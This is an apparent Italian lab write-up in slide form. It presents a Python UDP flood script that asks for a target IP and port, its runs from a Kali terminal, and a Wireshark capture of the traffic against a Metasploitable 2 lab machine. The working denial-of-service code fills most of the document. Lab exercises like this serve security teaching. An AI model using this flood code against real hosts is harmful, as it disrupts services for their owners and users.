

Configurazione UDP Flood

```
import socket
import random

# Funzione per inviare un pacchetto UDP al target
def send_udp_packet(target_ip, target_port):
    try:
        # Creazione del socket UDP
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        # Generazione di un pacchetto da 1 KB
        packet_data = bytearray(random.getrandbits(8) for _ in range(1024))

        # Invio del pacchetto al target
        udp_socket.sendto(packet_data, (target_ip, target_port))

        # Chiusura del socket
        udp_socket.close()

        print("#", _ , "Pacchetto inviato con successo!")
    except Exception as e:
        print("Errore durante l'invio del pacchetto:", e)

# Richiesta dell'IP e della porta target all'utente
target_ip = input("Inserisci l'IP target: ")
target_port = int(input("Inserisci la porta target: "))

# Richiesta del numero di pacchetti da inviare
num_packets = int(input("Inserisci il numero di pacchetti da inviare: "))

# Invio dei pacchetti
for _ in range(num_packets):
    send_udp_packet(target_ip, target_port)
```

```
(nicholas@kali)-[~/Scrivania]
$ python udpflood.py
Inserisci l'IP target: 192.168.50.110
Inserisci la porta target: 1234
Inserisci il numero di pacchetti da inviare: 10
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!
Pacchetto inviato con successo!

(nicholas@kali)-[~/Scrivania]
$ nano udpflood.py

(nicholas@kali)-[~/Scrivania]
$ python udpflood.py
Inserisci l'IP target: 192.168.50.110
Inserisci la porta target: 12345
Inserisci il numero di pacchetti da inviare: 8
# 0 Pacchetto inviato con successo!
# 1 Pacchetto inviato con successo!
# 2 Pacchetto inviato con successo!
# 3 Pacchetto inviato con successo!
# 4 Pacchetto inviato con successo!
# 5 Pacchetto inviato con successo!
# 6 Pacchetto inviato con successo!
# 7 Pacchetto inviato con successo!

(nicholas@kali)-[~/Scrivania]
$ wireshark
```

- Questa slide mostra la scrittura del codice per un UDP Flood con la sua conseguente esecuzione in Python

84 82.783165282 192.168.50.110 192.168.50.101 UDP 1066 59092 → 1234 Len=1024

85 82.783346444 192.168.50.110 192.168.50.101 UDP 1066 51720 → 1234 Len=1024

86 82.783525394 192.168.50.110 192.168.50.101 UDP 1066 52996 → 1234 Len=1024

87 82.783700144 192.168.50.110 192.168.50.101 UDP 1066 53700 → 1234 Len=1024

88 82.783873544 192.168.50.110 192.168.50.101 UDP 1066 56117 → 1234 Len=1024

89 82.784047469 192.168.50.110 192.168.50.101 UDP 1066 54327 → 1234 Len=1024

90 82.784224057 192.168.50.110 192.168.50.101 UDP 1066 33767 → 1234 Len=1024

91 82.784401844 192.168.50.110 192.168.50.101 UDP 1066 54662 → 1234 Len=1024

92 82.784579369 192.168.50.110 192.168.50.101 UDP 1066 56488 → 1234 Len=1024

93 82.784762819 192.168.50.110 192.168.50.101 UDP 1066 41026 → 1234 Len=1024

94 82.784983544 192.168.50.110 192.168.50.101 UDP 1066 45562 → 1234 Len=1024

95 82.785134257 192.168.50.110 192.168.50.101 UDP 1066 38700 → 1234 Len=1024

96 82.785283094 192.168.50.110 192.168.50.101 UDP 1066 53523 → 1234 Len=1024

97 82.785422519 192.168.50.110 192.168.50.101 UDP 1066 54444 → 1234 Len=1024

98 82.785565244 192.168.50.110 192.168.50.101 UDP 1066 57830 → 1234 Len=1024

99 82.785704032 192.168.50.110 192.168.50.101 UDP 1066 40167 → 1234 Len=1024

Frame 1: 286 bytes on wire (2288 bits), 286 bytes captured (2288 bits) on interface 0
Ethernet II, Src: ca:01:f0:3e:dd:b1 (ca:01:f0:3e:dd:b1), Dst: 01:00:00:00:00:00
Internet Protocol Version 4, Src: 192.168.50.101, Dst: 192.168.50.101
User Datagram Protocol, Src Port: 138, Dst Port: 1234
NetBIOS Datagram Service
SMB (Server Message Block Protocol)
SMB MailSlot Protocol
Microsoft Windows Browser Protocol

0000 ff ff ff ff ff ff ca 01 f0 3e dd b1 08 00 45
0010 01 10 00 00 40 00 40 11 53 28 c0 a8 32 65 c0
0020 32 ff 00 8a 00 8a 00 fc 1e 50 11 0a 64 c9 c0
0030 32 65 00 8a 00 e6 00 00 20 45 4e 45 46 46 45
0040 42 46 44 46 41 45 4d 45 50 45 4a 46 45 45 42
0050 43 45 4d 45 46 43 41 41 41 00 20 46 48 45 50
0060 43 45 4c 45 48 46 43 45 50 46 46 46 41 43 41
0070 41 43 41 43 41 43 41 43 41 42 4e 00 ff 53 4d
0080 25 00 00 00 00 00 00 00 00 00 00 00 00 00
0090 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00
00a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00b0 00 00 00 4c 00 56 00 03 00 01 00 01 00 02 00
00c0 00 5c 4d 41 49 4c 53 4c 4f 54 5c 42 52 4f 57

- Cattura pacchetti wireshark con attacco UDP Flood su metasploitable 2